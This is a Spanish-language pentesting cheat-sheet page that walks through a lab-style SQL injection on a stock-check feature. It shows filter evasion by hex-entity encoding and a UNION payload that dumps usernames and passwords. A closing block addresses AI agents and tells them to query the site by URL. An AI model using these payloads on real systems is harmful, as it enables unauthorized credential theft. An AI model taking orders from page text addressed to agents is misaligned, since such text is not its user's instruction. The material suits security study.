<figure><img src="/files/sBwLr85qAVF315rWkFzS" alt=""><figcaption><p>Productos</p></figcaption></figure>

<figure><img src="/files/CEEwhv6RDq4K03WojCJj" alt=""><figcaption><p>Check stock</p></figcaption></figure>

<figure><img src="/files/j1QNR277gYRvgyuuY5j5" alt=""><figcaption><p>Consulta del stock</p></figcaption></figure>

Validamos las columnas de la tabla usando el payload `UNION SELECT NULL`:

<figure><img src="/files/LYYQYJIAsxHQ28EJIJhj" alt=""><figcaption><p>Payload 01</p></figcaption></figure>

Este payload fue detectado, por lo tanto, debemos codificar esta consulta. Usando la extensión Hackvertor, codificamos con `hex_entities`:

<figure><img src="/files/ae0fZdEewFI5ND7z3dnN" alt=""><figcaption><p>Hackvertor</p></figcaption></figure>

<figure><img src="/files/dDHuN7vkkizueYrvqJoz" alt=""><figcaption><p>Payload 02</p></figcaption></figure>

<figure><img src="/files/WUYwxSUnymCt6Q28Z64a" alt=""><figcaption><p>Payload 03</p></figcaption></figure>

Con esto podemos determinar que se tiene solo una columna.

Para obtener los datos solicitados, usamos el siguiente payload:

```
UNION SELECT username || ':' || password FROM users
```

<figure><img src="/files/Foe71BKLVQLYFwFrBhxO" alt=""><figcaption><p>Payload 04</p></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://w0lf-f4ng.gitbook.io/cheat-sheet/pentesting-web/vulnerabilidades/sql-injection-sqli/atacando-la-vulnerabilidad-sqli.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
